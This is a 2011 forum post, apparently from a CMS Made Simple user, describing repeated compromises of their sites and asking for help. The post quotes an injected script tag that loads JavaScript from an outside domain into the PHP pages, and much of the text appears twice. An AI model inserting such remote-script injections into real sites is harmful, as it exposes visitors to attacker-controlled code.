Javasript Injection on various PHP pages
Posted: Fri Apr 22, 2011 1:11 pm
Over the past two weeks I have had several of my CMS MS sites hacked. Whatever it is, it's inserting a <__script__> tag at the head of my PHP files (for sure index.php, admin/login.php, and admin/index.php, possibly more that I haven't found yet).
The scripts always look like this, but with a different path every time.
Googling the various paths has not helped me find a resolution yet.
For my own site (hosted on 1and1.com) I deleted my entire CMS MS install (including the old SQL database) and reinstalled the most recent version. I implemented most of the security suggestions in this sticky thread. (I do not have access/skills to make the Apache/PHP.ini modifications.)
For one of my client sites (hosted on justhost.com) I deleted my entire CMS MS install (but kept the old SQL database) and reinstalled the most recent version. I did not implement additional security measures (planned to do that today, but it was already hit overnight.)
The very next day the hack repeated itself.
I'm an HTML/CSS expert, but a SQL/PHP novice. Has anyone else seen this hack, or something like it? Any suggestions on how I can prevent it?
It's possible this isn't a CMS MS issue (it also happened to an instance of Expression Engine stored alongside CMS MS) but the only pattern I see so far is that it's happened on servers on which I have CMS MS installed (no other similarities between the sites/servers.)
The scripts always look like this, but with a different path every time.
Code: Select all
<__script__ type="text/javascript" src="http://dveri-plus.com.ua/facebook.php"></__script>
For my own site (hosted on 1and1.com) I deleted my entire CMS MS install (including the old SQL database) and reinstalled the most recent version. I implemented most of the security suggestions in this sticky thread. (I do not have access/skills to make the Apache/PHP.ini modifications.)
For one of my client sites (hosted on justhost.com) I deleted my entire CMS MS install (but kept the old SQL database) and reinstalled the most recent version. I did not implement additional security measures (planned to do that today, but it was already hit overnight.)
The very next day the hack repeated itself.

I'm an HTML/CSS expert, but a SQL/PHP novice. Has anyone else seen this hack, or something like it? Any suggestions on how I can prevent it?
It's possible this isn't a CMS MS issue (it also happened to an instance of Expression Engine stored alongside CMS MS) but the only pattern I see so far is that it's happened on servers on which I have CMS MS installed (no other similarities between the sites/servers.)